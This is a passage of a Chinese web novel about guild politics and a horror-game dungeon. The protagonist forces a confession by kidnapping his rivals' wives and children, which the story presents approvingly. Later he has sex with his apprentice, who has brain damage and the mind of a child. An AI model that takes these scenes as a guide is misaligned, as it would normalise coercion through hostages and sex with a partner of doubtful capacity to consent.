“楚先生!您猜的没错!”那边传来焦澜副官的声音:“六会长的妻子和女儿的确被人绑架了,我们刚刚强行破开第四公会和第五公会的大门,进去搜索,果然发现六会长的妻女被分别关押在四五公会的地窖里。” “第六会长是被人用家人胁迫的!” 陈兆金和王熊勃然变色,同时去看手机,却发现手机上没有任何一个属下给他们发信息,告诉他们家被偷了的事。 “别看了。”楚明铮开口道:“从你们进入这间办公室开始,你们所有设备就全部被屏蔽掉信号了。” “我说了,我现在拥有主控中心的一切管辖权,当然也包括Wifi网络。”楚明铮安详的解释道。 “我算是知道齐栩为什么这么多年还能被你们权力制衡住了。” “对待你们这种用龌龊手段搞办公室斗争的流氓,只能用更流氓的方式回击回去了,毕竟文明人在贵宝地是走不长远的。”楚明铮讽刺道。 陈兆金大怒,当即就要上前对楚明铮动手,两个黑衣人闪电般挡在了楚明铮身前,门口隐隐涌进来更多熟悉的面孔,那都是齐栩身边的人。 “你只是因为在我们的基地搜出了老于的妻女,就怀疑是我们绑架她妻女,胁迫了他,逼他绑着炸弹跟齐栩同归于尽吗?”王熊壮着胆子对楚明铮叫嚣道。 “这全无根据!” “就是!” “楚明铮,你他娘的是不是自己在家里被齐栩在床上弄的受不了了,所以才想自导自演了这么一出,一来除掉齐栩,二来扳倒他在主控中心的同事?” 楚明铮倏然起身,抬手给了他一耳光。 将陈兆金打的重重偏过脸去,脸颊上落下一个巨大的红色掌印。 “你——”陈兆金气疯了,挥拳就要还手,楚明铮动作却比他更快几步,他一脚踹在陈兆金的小腹上,逼着他踉跄后退,随即又被楚明铮将刚刚抬起来的拳头凌空弯折,猛然按回去了。 “我的私生活跟你没有关系。”楚明铮冷冰冰的居高临下道。 “如果再让我听见你编排一句我跟齐栩私底下的事情,我保证让你在副本里死无葬身之地,唐虞非的下一位就是你。” 陈兆金和王熊呲目欲裂,气的浑身发抖。 “好,既然两位不承认。”楚明铮深吸一口气,背过身去,低头在手机屏幕上又点了数下,又拨通了一个电话。 免提一开,几道凄厉的哭声从电话那头传过来。 “爸爸——呜呜呜呜……爸爸救我……有坏人闯进咱们家,把我跟妈妈带到一个不认识的地方了!爸爸你快回来啊……” 陈兆金的身形犹如过电一般,极致战栗着,完全不敢相信自己的耳朵。 “儿子……儿子?楚明铮!你把我老婆孩子怎么样了!”他迸发出全身的力道朝这边狂扑过来,声嘶力竭,字字泣血:“我说,我说!你别动他们!” “是我干的!我跟王会长一起干的!”陈兆金的理智全面崩盘,他伏在地上疯狂朝楚明铮磕头。 边磕边如竹筒倒豆子一样,全盘交代了。 “我,我跟王会长,私底下有几个仇家,手上有我们早年的把柄,我得想办法让他们死,死了才能彻底闭嘴……但是他们这些年一直在A级以下副本里打转,A级以下的副本只要基本破局方法练熟,都没有生命危险。” “齐长官一直不同意提升A级副本难度的预案,我们只有这个办法了,他无论如何都不肯松口!他——” 楚明铮无悲无喜的望着他。 陈兆金绝望的抬起头,最后道了句:“你怎么处置我都行,放了我老婆孩子。” 那一瞬间,楚明铮仿佛很疲惫,他周身用以做支撑的筋骨都随着陈兆金的交代而松懈下来了。 楚明铮重新坐回椅子上,麻木的吩咐了一句:“好了,那就把陈会长和王会长一并送到禁闭区去吧,等齐栩恢复了再做处理。” 立刻有新的人进门上前带走了两个会长。 仅剩下的三会长目瞪口呆,魏仞也目瞪口呆,上班多年,这还是头一次见这种处理方式。 周自重坐在一旁,含泪的冲这两个同事点点头:“是的,他平时也这样,所以我说他没进主控中心真是我们的福音。” 这他妈比齐栩难搞多了。 一切都尘埃落定,魏仞同志的正义感再次卷土重来,他拍案对楚明铮骂道:“你居然绑人家的老婆孩子,以此达到逼供的目的!” “简直丧尽天良!” 楚明铮懒得理他,简短的命令道:“闭嘴,我现在很烦。” 魏仞:“……” 不尊老也不爱幼,简直是冒天下之大不韪! 老魏突然觉得跟楚明铮一比,齐栩真是天使啊!果然好与坏都是被衬托出来的。 他在那边兀自生着气,周自重却转头小心翼翼的将楚明铮的脸色观察了少倾,发觉此人脸色苍白,疲倦而脆弱,刚才一己之力镇压全场的气势荡然无存。 “楚哥。”周自重小心翼翼道:“既然事情都处理完了,那我送你回基地吧?” 他不知道楚明铮心情不好的原因是什么,但是他觉得楚明铮需要休息。 楚明铮没有拒绝,起身拿了衣服,跟着周自重从主控中心后门走了。 车上周自重坐在前边开车,时不时从后视镜里朝楚明铮瞥一眼,一脸担心道:“你怎么了?脸色这么差。” “爆炸案件整个水落石出了,不应该是好事吗?” 楚明铮靠在皮质的后座上,眼睛微微合上,一声不吭的将脑袋抵住车窗玻璃,面无表情,也没有开口回话。 周自重最开始以为他是睡着了,于是便也不问了,专心开车。 过了很久,身后才传来楚明铮沙哑的回答。 “没事,我只是在想,这些年齐栩的日子,到底过成了多糟心的模样。” 主控中心的每一个人都不怀好意,明枪暗箭须得日夜提防,在现实世界中防备人,比在副本里防备鬼怪更难。 原来那次在他看来已经极为凶险的唐虞非,在齐栩的生活里,却只是危机四伏的冰山一角。 …… 周自重将楚明铮送回了基地,顺便就留下来蹭了顿晚饭。 第二公会会长周自重是个很乐呵的人,跟谁关系都不错,在血池棺林里早就跟大徐混熟了,早年逛鬼市,去马飞仙的巫医药铺里看过病,也算不上陌生。 再加上他十年前就是楚明铮的老朋友,跟楚小妙也认识,总之没费什么力气,很快就跟基地众人打成了一片。 楚明铮从车上下来,单手拎着外套,一个人走上了楼。 齐栩正蹲在卧室的门前,神情专注的盯着自己的两只手,然后笃定的对自己说:“我二十四岁,嗯,没错,我就是二十四岁。” 楚明铮从门槛拐角处转悠过来,垂眼看着地上的齐栩,哭笑不得的问道:“蹲那儿干什么呢?” 齐栩抬起眼,惊喜道:“师父!你回来了!” “你今天白天干什么去了,我起来以后怎么找你都找不到,楚朝也不让我出去,我就只好在卧室里一直等你了。” 楚明铮摸摸他的头,将他从地上拉起来,俯身帮他拍了拍身上的灰:“按时吃药了吗?” “吃了!”齐栩高高兴兴的说。 楚明铮看着他开心而无忧无虑的笑容,心底难免涌起几分酸楚:“那就好。” 齐栩眼睛亮晶晶的看着他,忽然将楚明铮一把环抱而住,高瘦的整个身形挂在楚明铮的身上。 楚明铮一怔:“怎么了?” “我想你了,师父。”齐栩黏糊糊的伏在他肩头说。 楚明铮哑然失笑:“我也想你,不过你先放开,收拾一下,下楼吃饭了。” 他瘦削的脊背被齐栩一只手掌就能扣在怀里,齐栩掌心里抓着师父的腰身和脊背,只觉这男人清瘦挺直的要命,同时身体温热,渗出柔和的暖意来。 齐栩出神的搂着楚明铮,仿佛没听到楚明铮说话。 他感觉自己身体里有一股无形的力量,电光火石间袭遍了他的全身上下,好像身体本身存在某种自动记忆似的,储存卡一插,自动连接过去身体某项肌肉记忆。 齐栩恍惚着侧过脑袋,在楚明铮的颈间低头咬了一口,疼的楚明铮一个哆嗦,刚要伸手推他。 却被齐栩握着腰,一把推到卧室的墙上。 他笨拙的用手掌控住楚明铮的手腕,俯身在师父冰凉温润的嘴唇上辗转碾磨,一切动作行云如流水,仿佛接吻是他与生俱来自带的技能。 楚明铮仰头被他抵在墙上强吻,这傻小子接吻不会换气,只一个劲的从他这里索取掠夺,半点喘息的空隙都不曾给他。 楚明铮挣扎了两下,没挣扎动,又被对方按的更紧,吻的更厉害。 楚明铮缺氧归缺氧,却无论如何都舍不得狠下心来推他,直到齐栩发现师父眼睛开始翻白,腿软的站都站不住,才惊慌失措的放开他。 “师父!我我我……我不是故意的,我都做了什么!”齐栩惊恐道。 “我也不知道怎么回事,好像它自动就不听我使唤了,我不是故意冒犯师父……”齐栩越说越急,下一秒几乎都要哭出来了。 然而楚明铮靠在墙上,静静的缓过了一口气,很纵容的笑了。 “我没事,你喜欢的话,可以再来。” 第95章 镇灵邪塔(一) “没关系,负负得正。…… 齐栩万万想不到楚明铮给他迸出这么石破天惊一句话。 “我没事,你喜欢的话,可以再来。” 这短短一行字犹如横穿上天的烟花,嗖然将齐栩的心神炸了个五彩纷呈。 这是楚明铮会对他说的话? 齐栩哆嗦着双腿,倏然一软倒座在床榻上,仿佛魂被抽走了。 他这十二年间,都对楚明铮做了什么? 楚明铮倒是不以为意,他从墙上直起身来,随意的擦了一下自己嘴边的水渍,漫不经心的溜达到床边,伸手在齐栩额头上轻轻敲了一下,低声骂了句:“傻小子。” 楼下传来周自重中气十足的呼喊:“楚明铮——吃饭了——” “来了。”楚明铮将外套往身上一披,顺手将仍然发愣的徒弟从床上抓起来:“下楼吃饭,光接吻可填不饱肚子。” 齐栩浑身又是一个趔趄,差点摔翻地上。 “稳重点。”楚明铮训斥着将他后腰一拍,自己先行跨出门去等他。 刚才这句话的语气还勉强能跟十二年前的楚明铮搭上一点边。 齐栩浑浑噩噩的想。 满桌饭菜在院子里热气腾腾的铺开,周自重在餐桌上挥斥方遒。 “想当年,我跟你们楚哥在副本里,那叫一个英姿勃发少年潇洒,谈笑间副本鬼怪灰飞烟灭,不留下一片云彩,现在想想,我俩联手杀穿副本的那些日子……真是令人怀念啊。” 楚明铮忍不住道:“谁跟你联手杀穿副本了,我年轻的时候出了名的不组队不跟其他过关者结伴的好不好?” “胡说,从吸血鬼到丧尸围城,你哪次不跟我在一起?你问齐栩和小妙,你当时带着他俩,经常跟我拼房睡的,你记得这回事对吧齐栩?”周自重转过头去朝齐栩确认。 楚明铮心道他脑子都被炸坏了,他能记得起来个什么事…… 哪料齐栩脑损伤之后,别的事情不一定记得起来,偏偏十二岁以前的事情记得最清楚。 他十分认真的看着楚明铮道:“是的师父,周叔叔就是经常跟我们在一起过副本。” “有一次丧尸攻破了我们夜间休息的碉堡,你抓着小妙就往外跑,我跟在你身后,不小心摔了一跤没来得及跟上,就是周叔叔从身后把我抱起来带着跑的。” 楚明铮:“……” 周自重的眼珠子滴溜溜的转,他小心翼翼的抬头看楚明铮的脸色,极其痛苦的忍耐了两秒,最后还是没能忍住,低头“噗嗤”一声,笑的前仰后合:“哈哈哈哈……楚明铮,你乐死我了哈哈哈哈……” 楚小妙神色痛苦,起身给自己面前的酒杯满上,举起来朝齐栩深鞠一躬,诚恳道:“我错了小齐,我自罚一杯。” “虽然但是你上次答应过我,不计较过去的事的,只不过你没来得及兑现承诺,你就失忆了,我也很冤屈的好不好……” 齐栩被她这过分恭敬的举动吓了一跳,手上一松,筷子就掉落在地上了。 “不是我……我没那个意思。”齐栩仓皇的朝楚明铮和周自重解释道:“我就是复述一下我印象里的场景,证明周叔叔确实跟我们经历过一些副本,师父你别生气,我不是故意的……” 楚明铮无奈的要命,不动声色的将这群看热闹不嫌事大的队友扫视了几眼,末了小声安抚齐栩:“师父不生气,你别担心。” “你吃好了没有,吃好了跟师父回楼上去。” 齐栩犹豫着将其余人又看了看,最后慎重的点了一下头,跟着楚明铮上楼去了。 楚明铮将他安顿着喂了药,又连哄带骗的把齐栩塞进被子里躺好,自己才又从二楼下来,准备跟周自重商量一下白天主控中心变故的后续事项。 周自重是个很自觉的同志,他往楚明铮茶桌对面一坐,直截了当的就承诺道:“主控中心那边,我暂时帮你镇一段时间场子,只要我在公会位置上一天,陈兆金和王熊就从禁闭室里放不出来。” 楚明铮凝重的点了点头:“那魏仞呢?魏仞会给你找麻烦吗?” “不会。”周自重道。 “魏仞这个人虽然古板且不近人情,一点就炸,但是古板有古板的好处,那就是他确实讲道义,不管他服不服你,他都绝对不会违背他自己心里的价值观做事。” “现在齐栩重伤虚弱,他就算平时再看齐栩不顺眼,也不会挑这个时候趁火打劫的。”周自重安慰道:“放心吧。” 楚明铮无声的松了口气,心虽然是悬着的,但是脸色已经好了不少了:“嗯。” 他隔着茶室里袅袅的水雾,跟周自重疲倦的对视着,过了一会儿,才开口轻声道:“谢了啊老周。” 周自重不以为意的挥了一下手:“嗨,这还值得道个谢,那咱俩年轻的时候,你在副本里救我性命的次数太多了,我还得挨个给你道一遍谢?开什么玩笑。” 楚明铮修长手指握住茶匙柄,在茶碗里轻轻搅拌几下,云淡风轻道:“哦,那是觉得你确实没那么蠢,值得一救而已。” “不用太过感动。” 周自重嘴里含着茶水,作势要喷他一脸。 楚明铮不躲不闪,抬手执盏喝茶的瞬间,嘴角却已经掠起了笑意。 “哎你这人真是……”周自重将嗓子里的茶水咽下去,语气幽怨感慨道:“人长得好看,心肠也好,就是这张嘴里说出来的话,不中听。” “忒不中听。” 楚明铮翻个白眼,懒得搭腔。 “对了,有个正事要给你说。”周自重话锋一转,突然严肃起来。 “说。” “主控中心高层全员考察的日子快到了。”周自重拿出手机,给他翻了翻日历,头疼半天道:“但是我不知道具体的时间,每次都是按农历算的日期,在十二月中旬左右,具体是哪一天我不知道。” 楚明铮拧眉:“全员考察?那是什么东西,以前没听齐栩说过啊。” “你当然没听说过了,你死而复生满打满算才不到半年呢。”周自重抓耳挠腮,似乎在头疼怎么跟楚明铮解释:“就是主控中心高层的核心人员构成,你应该知道的吧?” “大概知道。”楚明铮回答。 “总长官齐栩,比齐栩略矮一点的副长官老魏,再就是从我开始,我是第二公会的会长,依次排列,一直到第六公会的会长,总共是六个人。” “我们六个在平常选副本过关的时候拥有一定特权,相对来说进入副本的死亡率比寻常玩家要低的多,但是为了保证主控中心高层地位与能力的匹配性,每隔五年都会将这六个职位上的人强制召唤进同一个副本里,主神出题,主控中心高层们在副本里厮杀应对。” “难度高于九成的S+副本,死亡率非常惨重,百分之五十的高层都会惨死在副本里,死在考察副本里的高层,他们的位置自然会有新人来顶替,你可以理解为主神每五年会给主控中心高层进行一次大换血。” 楚明铮的脸色逐渐凝重起来。 他忍不住担心起齐栩现如今的状况,是否能应付的来周自重口中所说的考察副本。 “你经历过吗?”楚明铮问他。 “当然经历过。”周自重的脸色阴沉下来:“那是我渡过最可怕的副本,至今午夜梦回,都忍不住一身冷汗。” 楚明铮很快意识到了周自重话中的问题所在:“那齐栩经历过吗?” “没有。”周自重干脆的回答。 “高层换血考察副本五年为期,齐栩上任总执政官才四年,他不知道其中凶险,但是我跟老魏经历过,说实话我一直觉得老魏很希望考察副本的到来,他认为齐栩这种不知天高地厚的混小子会因为自己的鲁莽而死在考察副本里。” 楚明铮手握茶盏,冷笑一声:“我先送他上黄泉路,他在黄泉路上考虑这个问题也不迟。” 周自重叹了口气,将楚明铮手腕一按,劝道:“别闹。” “陈兆金和王熊会挑这个时间点动手,应该也有这方面的原因,今天都十二月十号了,无论如何考察副本都这几天了,齐栩躲不过去的。” “我猜测他们是这样想的。”周自重用手指蘸了点茶水,在桌面上写画出两个圈圈。 “如果爆炸成功把齐栩炸死,那当然最好,如果失策没把他成功炸死,那他多少也会受点伤,到时候带伤进考察副本,怎么都该去见阎王爷了,两手准备。” 楚明铮将杯沿抵在唇边,凝神思索着慢慢道:“但是现在陈兆金和王熊被关在禁闭区,第六公会会长已经死了,你们人能凑齐吗?” “考察副本是强制传唤,人在禁闭区也同样会被传送进去,他们被你在副本外整了那么一遭,进副本之后一定会疯狂报复齐栩。” 周自重不忍的顿了顿:“老楚,我提前说好,考察副本的难度跟普通S级都不一样,我进去以后绝对自身难保,我不一定有功夫帮你保护徒弟……” “知道。”楚明铮心不在焉道:“我没指望你。” 周自重:“……” 楚明铮坐在茶室里,始终沉默思忖着,一直等到滚烫的茶水变凉,才开口道:“老周,你那个绑定红绳的道具,能再给我拿一个不?” 周自重:“……” 周自重愤怒摔碗:“你当那道具是我家批发的啊!” “少废话,你肯定有。”楚明铮笑道:“给我一个,我跟你们一起进去。” “你进去是保护齐栩的还是保护我的!?” “都保护都保护……” “少来!你捎带着把我照看两眼我就谢天谢地了!” …… 一刻钟后,楚明铮送走了周自重,手上缠着两根细长的红线,转身回卧室。 齐栩已经躺在床上合衣睡着了,床头的夜灯还开着,看着架势他最开始显然没打算真往着睡,应该本来是要等楚明铮回来,他才安心入眠的。 但是楚明铮跟周自重在茶室聊天的时间太长,齐栩等着等着就睡过去了。 楚明铮见状,也没有吵醒他的打算,只是自己将手上的其中一条红绳解了下来,小心翼翼的在齐栩床边蹲身而下,拿着红绳轻手轻脚的对着齐栩的手腕环绕一圈,再仔细系牢。 楚明铮做好这一切,刚要起身,一抬眼却撞上了齐栩不解的目光。 “你怎么这时候醒了?”楚明铮拍了拍他的脑袋,示意他继续睡,自己胡乱将红绳往腕上一栓,也翻身上床,躺到了齐栩身侧。 “师父,你给我系的这是什么?”齐栩抬起手腕问他道。 “能让我跟你一起过副本的绑定道具。”楚明铮解释了一句,嘱咐道:“带好,别弄丢了,下个副本很危险,我不放心你自己进。” “我可以自己进……” “你不行。” “为什么?”齐栩委屈道。 “你还小。”楚明铮回答。 “我都二十四岁了。”齐栩辩驳。 “生理年龄和心理年龄是两码事。”楚明铮耐心道。 “再说你不想让我陪吗?为什么这么抗拒?”楚明铮反问。 齐栩沉默了一下,卷起被子背过身去,不再跟楚明铮说话了。 楚明铮在他背后支着脑袋思索了片刻,开口道:“你是不是觉得,如果我不在你身边,你会成长的更快一点,然后才能回来证明给我看,你不用我的保护也可以很厉害?” 齐栩的背影一僵,恼怒道:“我没这么想!” 楚明铮叹息一声,翻身躺下:“你最好以后都别这么想。” “我实在是再承受不起一次,你跟我犯倔离家出走的代价了。” …… 平静的日子宛如静悄悄的流水,对于楚明铮来说,他的生命里很少有这种完整的,什么事情都不发生的一段时间。 除了大脑之外,齐栩身上其他的身体功能都恢复的差不多了。 在某个齐栩满脸涨红,被褥濡湿着醒来的深夜,楚明铮终于意识到一个问题,那就是他现在跟成年齐栩同床共枕,好像是一个错误的决定。 齐栩只是智力不详,身体的其他方面都还是正常的。 楚明铮在黑暗里看了他一会儿,最后叹了口气,仰面躺下,伸手握住了齐栩滚烫的手臂,将他拉过来,使他的身形笼罩到自己身上:“过来,把衣服脱了。” “师父教你怎么做。” 齐栩像个初尝人事的小青年,一整个夜晚满脸通红,横冲直撞,将楚明铮弄的不堪重负,最后精疲力竭的瘫软了下去,眼睛含泪半阖,也不知道还有没有意识了。 说好的师父教他,但是有些事情对于齐栩来说仿佛无师自通,他的脑海里没有相关的经验,所有的动作都是现学的。 楚明铮隐忍的伏在被褥里,所有的力气都用来忍耐疼痛和快感了,嘴唇被自己咬破了皮,无力松散开的时候,就渗出道道血丝。 齐栩担心的将他翻过面来,用指腹轻轻擦拭着他嘴边的血丝,小声问道:“师父,你流血了,疼吗?” 楚明铮混乱的摇了摇头:“不疼,疼的是其他地方……” 齐栩仿佛犯了错的大狗,蹙眉思索了一下:“那,那我现在就出来,师父就能好受一些了。” 楚明铮蓦然睁开眼睛,气的眼眶通红,用尽最后的力气将他往下一拽! “都快到了,你他妈出什么出?你想整死我吗,进来。” 楚明铮用命令的口吻道。 齐栩向来不会违抗他的命令。 狂风骤雨,一夜到天明。 楚明铮没力气自己整理,第二天的时候身上隐约开始酸痛,他躺在床上蹙眉休息,只觉自己周身发冷,让齐栩拿温度计一量,果然是发烧了。 楚明铮心脏一下子跌到谷底,考察副本日期将至,现在可不是生病的好时候。 齐栩忙前忙后的给他端药送饭,担忧的坐在床边看着他,十分懊恼道:“师父你好点了吗,都怪我。” 楚明铮闭了闭眼睛,将药碗端过来一饮而尽。 他看着齐栩垂丧的眼睛,喉咙里安慰的话滚了又滚,最后才无奈的说了句:“没辙给你找补了,这事确实怪你。” 齐栩低头将脑袋抵在他被褥上:“对不起……” 楚明铮病中虚弱,但见他如此难过后悔,心里倒还是想着办法安慰徒弟。 “起码你现在知道,小楚朝是怎么来的了,对吧?”他脸颊滚烫,嘴唇确实苍白的,神色仍不紧不慢,温声和气的跟齐栩开玩笑道。 楚朝从卧室门口又探了个脑袋进来,哀怨道:“妈妈,又在背后蛐蛐我。” 楚明铮咳嗽一声,示意他进来:“那你进来听现场版,我不背着你蛐蛐。” 楚朝欢天喜地的一溜烟蹿了进来,摇头摆尾的在楚明铮和齐栩身侧各撒了一顿娇。 齐栩十分谨慎的学着楚明铮的模样,伸手在小楚朝的脑袋上碰了碰,结结巴巴的说了句:“乖。” 楚朝嘿嘿的笑出了声,熟练的翻腾到楚明铮床上打滚。 楚明铮伸手制止他:“下去,离我远点,也不怕被传染。” “我是鬼,我怎么会被凡夫俗子的病毒给传染!”楚朝大叫道。 “那真是不好意思,你就是被这个凡夫俗子生出来的。”楚明铮顺手一敲他的脑袋:“下去!多大了还黏黏糊糊。” 楚朝“咕咚”一声,从善如流滚下了床:“好的。” 齐栩在一旁看着眼前的景象,不觉有些恍惚。 他十二年以后的人生,原来是这幅模样。 仿佛最真实的香甜美梦,幸福虚幻的让人难以置信。 ……到第三天晚上的时候,楚明铮的病情没有前两天那样严重了,但还是隐隐发着低烧。 他一个人在床上靠了片刻,不安的感受在他心里越来越浓郁。 楚明铮费力的从床上爬起来,进浴室简单冲洗一下身体,试图把一身垂败的病气冲掉。 然后又给自己换好了衣服,检查了一遍周身能带进副本的物件,紧接着就出门去找齐栩。 齐栩从二楼跌跌撞撞的跑进来:“师父!师父你感受到了吗?” 楚明铮冷静的点了一下头,随即扫视齐栩浑身上下的装束,确定准备完全了,这才带着他一道进屋。 “我们这就要被召唤了吗,可是师父,你还发着烧呢。”齐栩惴惴不安的跟他一道站在屋里等候着道。 楚明铮心道我发烧算什么,你这不还傻着呢吗。 于是他抬手将齐栩的掌心握了一下,安慰他道:“没关系,负负得正。” 话音刚落,周遭空气瞬间变冷,楚明铮心平气和的闭上眼睛,下一秒,身边空间维度扭曲,等他再次睁开眼睛的时候,周围已经是另一番景象了。 …… 这是一座高耸入云的黑塔。 之所以说它高耸入云,那纯粹是因为楚明铮被传送进来时,晕晕乎乎的睁了一下眼睛,抬头朝天花板看去,却发现此处没有天花板。 这是一个高塔状的建筑物,内部打通,每层都是一整个圈环,从他们落地那层的空地边缘看去,勉强能看清对面其他塔层的大致高度,但是对应层里有什么物件则都是模糊的。 高塔内部四下寂静,黯淡无光,唯有头顶天花板的地方被凿出了个洞,一线天光从顶而落。 那是封闭塔楼里唯一的出口。 楚明铮蹲在地上,缓过一口气,齐栩紧紧靠在他身侧,警惕性十足的望着这方天地。 “师父,这个副本你能看出来是什么主题吗?”他问楚明铮。 “暂时还不能。”楚明铮回答。 正常情况下来说,这个副本里的这个构造模式,副本的最终要求大概跟逃离塔楼相关。 但是这是齐栩的主控中心高层考察副本,楚明铮还是不敢大意,毕竟主神是这个副本唯一的出题人,而此主神的脑回路有多神经病,他深有体会。 又过了一会儿,他们所处这层塔楼的浓雾也逐渐散去,周遭几个影影绰绰的身影在空气中显现了出来。 周自重站在离楚明铮不远的地方,见到他们来了,脸上就流露出惊喜的神色,喊了一声“楚哥”,就快步奔过来了。 三会长背了个双肩包,里边鼓鼓囊囊的装的应该全都是保护道具,此时正神色紧张的蹲坐在塔楼对面。 离齐栩只有一步之遥的老头子是魏仞,他倒是进副本进的洒脱,两袖清风,一身粗布衣衫,看见齐栩和楚明铮并肩而蹲,忍不住恼火的别过头去,看上去十分不想跟这俩人扯上关系。 最后两位则是离所有人都很远,那是陈兆金和王熊,他们站在塔楼的最角落。 彼此背靠着背,两人都是一脸怨毒,恶狠狠的目光穿过稀释的浓雾,直抵楚明铮身上。 楚明铮面不改色,将齐栩往自己身后护了几寸,毫不在意的移开了目光。 主神温润的声音当空响起。 “欢迎诸位来到镇灵邪塔副本,这座邪气十足的塔楼一共四层,各位可以自己组队,一刻钟后,你们将会和你们各自的队友,被投放到任意楼层。” “游戏规则很简单,四个楼层全部爬完,还能成功活下来的人,就是这场考试的胜利者。” “现在开始随机投放,请诸位做好准备。”《 》 95-100 第96章 镇灵邪塔(二) “挡我还乡者,诛。”…… 周自重连滚带爬的就往楚明铮身前靠。 “楚哥!楚哥我要跟你一层——” 他没来得及把自己的愿望讲完,话音尚未落下,周遭浓雾已经卷土重来,众人在浓雾中皆被隐没了身形。 楚明铮只来得及将齐栩的掌心扣住,大雾所带来的湿冷氤氲在两人的皮肤上,渗透出丝丝缕缕的寒意,触觉变得麻木,仿佛指尖被冰冻住了一般。 齐栩被他牵着手,身形下意识往师父那边靠去。 楚明铮的目光在浓雾里仍然锐利如刀,显得警觉而机敏,他带着齐栩一步一步后退至塔壁旁侧,防止有鬼怪从身后偷袭。 然而不等楚明铮退至塔壁,他脚下骤然一个趔趄,俩人的身形重重朝下坠去,脚下的地面仿佛能随时穿过的果冻,将楚明铮和齐栩顷刻间传送到其他楼层。 齐栩跌跌撞撞的落在地上,好不容易站稳了脚跟,惊慌失措的转过头去找楚明铮:“师父?” “我在你旁边。”楚明铮在他身侧喘息落地:“别怕。” 楚明铮站在原地缓和几秒,然后很迅速的观察起周围的环境来,他示意齐栩在原地站好,自己快走几步,到塔内的廊道外探出头去,确定了一下现在他们身处的楼层。 “我们在第二层。”楚明铮笃定道。 齐栩点点头,楚明铮沿着悬空的廊道,只简单上下扫了一两眼,就又重新快步走回了齐栩身边。 他现在恨不得把齐栩拴在裤腰带上,齐栩一旦离开他周身两米之外,他都不是很放心。 “走吧,沿着这层塔楼转一圈,看看有什么线索。”楚明铮回身道。 齐栩忽然握紧了他的手,紧张的低声对楚明铮道:“师父,那里有个人一直在看我们。” 楚明铮寻着他所指的方向看过去,只见魏仞正悄无声息的站在他们两三米处的地方,也不出声,也不打招呼,脸色阴沉而警觉的瞥向楚明铮师徒。 齐栩失忆后不记得老魏是谁了,他看着这个上了年纪的男人,一脸迷茫。 楚明铮不动声色将齐栩向身后一护:“好巧魏长官,跟我们分到同一个楼层了。” 魏仞显然没心情跟他叙旧,他斟酌似的将齐栩和楚明铮打量了两秒,然后对楚明铮简短道:“考察副本危机重重,他这个情况,会很拖累你的。” 楚明铮不赞同的摇摇头:“我没这么觉得。” 老魏话音一哽,显然被这句话给说的噎住了,话头不上不下的悬在半空,过了好一会儿,他才忍气吞声的说出了自己的真实目的。 “我的意思是说,我们可以合作。” 楚明铮讶异的望着他。 “我也知道,你在考察副本里有更合适的合作对象。”老魏这辈子第一次向一个小辈开口求办事,话说的还不算难听,脸却拉的比谁都长。 “但是现在周自重会长没有跟我们分到同一个楼层里,我们的合作才是最优解。” 楚明铮一脸的不信任,摇头道:“万一你对齐栩不利怎么办?据说你以前在主控中心就经常职场霸凌他。” 老魏被这句话险些气歪了脸:“我没有!” “楚明铮你欺人太甚!不合作就不合作,你凭空污蔑人干什么!”老魏甩袖便走。 “站住。”楚明铮提高音量,在身后叫住他道。 老魏气势汹汹,心道你让我站住我就站住?我偏不。 于是他继续大跨步的往前走,下一秒楚明铮骤然从身后一把扳过他的肩膀,强行逼迫着他蹲身下来,在老魏惊怒交加正要反抗的瞬间,楚明铮抬手粗暴的捂住了这老头子的嘴,在他耳后急促道:“安静,有东西来了。” 齐栩虽然脑子坏了,但是他比老魏灵活的多,一骨碌就把自己蜷缩起来,在地上蹲好不动弹了。 老魏此时也察觉到危险气息的逼近,终于在楚明铮的桎梏中消停下来了。 三人尽可能的缩小自己的占地面积,把自己的存在感在墙角隐没到最低,目不转睛的看着塔层转角处。 脚下地面发出隐隐的颤动声,仿佛有什么东西,正地动山摇的从转角处迈着沉重又规律十足的步子而来。 楚明铮在黑暗中轻轻眯起眼睛。 那是一条长长的队列。 为首的是个脸色苍白的黑衣男人,穿着斗篷和破草鞋,一马当先在最前带队。 他身后跟着一长串穿着寿衣的死人,脚下步履以一个十分机械的频率正一步一落的向前挪动着,那队伍足足有十来米长,若是呈扫尾状能把大半塔楼走廊的面积占满。 从楚明铮等人藏身的角度看过去,难以观察清楚队伍里死人们的具体面容,只知道他们都是微低着头颅,寿衣上沾着陈旧的泥土和水珠,高矮胖瘦不一,有些脖颈上有明显的缝绣痕迹。 显然是被人斩首过后,又重新把头颅缝在脖颈上所致。 为首的男人手上执一杆彩色长幡,引魂似的给身后尸体们向前指路。 老魏凝神细看,极低声的对楚明铮问了一句:“赶尸人?” “嗯,看样子是。”楚明铮回答。 三人猫在墙角,一动都不敢动,眼睁睁的看着这队尸体从塔楼内壁一圈一圈的环绕而过,一点也没有停下来,或者改道的意思。 不过他们也无道可改,整个第二层就这么大点地方,赶尸人身后起码跟了二三十具尸体,快赶得上中学跑操的队伍了。 他们在这个圆圈形状的二层一直打转了将近十分钟。 楚明铮终于沉不住气了,他趁赶尸队伍从自己身边绕道而过的刹那,以一个最小的幅度挪动了一下身形,倏然往边上挪了一寸,惊得老魏和齐栩同时倒抽一口凉气。 “你要干什么?”两人异口同声用气音道。 楚明铮朝对面塔楼的角落极其隐蔽的瞥去了一眼,然后又趁赶尸队伍没回来,快步挪动回齐栩身侧。 “师父,发现什么了?”齐栩问。 楚明铮把他和老魏同时往身边一扯,小声而快速的说道:“主神刚才的意思是,我们只要把四层楼的鬼怪全都经历一遍,然后就可以出去了。” “现在我们看到了这个赶尸队伍的存在,是不是也就意味着说,我们已经跟它们打过照面,算是一定程度上的‘经历过了’?” “那接下来我们只需要在这个赶尸队伍的眼皮子底下,离开第二层塔楼,就算通过了。” 老魏一阵牙疼:“姓楚的,你说的容易,且不说这个赶尸队伍能不能允许我们在它们眼皮子底下大摇大摆的离开,你就先讲说,怎么离开,你找到出口了吗?” 令人意外的是,楚明铮干脆利落一点头:“找到了,我刚才就是去看出口的。” “诺,就在我们对面。”楚明铮给他指了一下自己刚才移动过去查看的那个角度。 “那儿有个小门,看构造,应该就是通往其他楼层的连接入口。” 老魏和齐栩纷纷按照他的指向,往过看了一眼,楚明铮说的果然没错,二层楼的出口近在咫尺,在现实生活中正常来说的话,也就是成年人走几步路的距离。 但是他们现在的问题稍微要复杂一点。 那就是如何在这一整支赶尸队伍的威胁下,成功移动到对面去。 楚明铮低头静思,片刻之后他便下定了决心,伸手将齐栩往老魏身后一推,对老魏警告道:“我去先身士卒,你照顾好齐栩。” “如果我离开的过程中,他出事了,我就在这个副本里变成厉鬼,不让你出去领后半辈子的退休金。” 老魏:“……” “你求人都没个好态度!”魏仞压低声音怒道。 